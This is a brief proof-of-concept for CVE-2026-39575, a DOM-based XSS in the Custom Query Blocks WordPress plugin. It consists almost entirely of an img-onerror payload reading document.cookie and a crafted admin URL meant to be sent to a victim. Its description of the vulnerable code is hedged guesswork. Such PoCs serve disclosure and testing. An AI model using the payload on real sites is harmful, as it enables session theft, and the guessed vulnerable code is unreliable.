CVE-2026-39575: Custom Query Blocks DOM型XSS漏洞

<!-- PoC for CVE-2026-39575 (DOM-Based XSS) Target: Custom Query Blocks Plugin <= 5.5.0 --> <script> // Proof of Concept // 1. Identify the vulnerable parameter in the plugin (e.g., 'mapping' or 'post_type') // 2. Craft a malicious URL containing the payload. // Example Payload: var payload = '"><img src=x onerror=alert(document.cookie)>'; // The vulnerable endpoint typically involves the plugin's archive mapping settings. // Attacker sends the following link to the victim: // http://victims-site.com/wp-admin/admin.php?page=custom-query-blocks&mapping=[ENCODED_PAYLOAD] // When the page loads, the vulnerable JS code might look like: // document.getElementById('archive-map').innerHTML = getUrlParam('mapping'); // This results in the alert firing, demonstrating XSS. console.log('Payload: ' + payload); alert('If this alert appears, the site is vulnerable to CVE-2026-39575'); </script>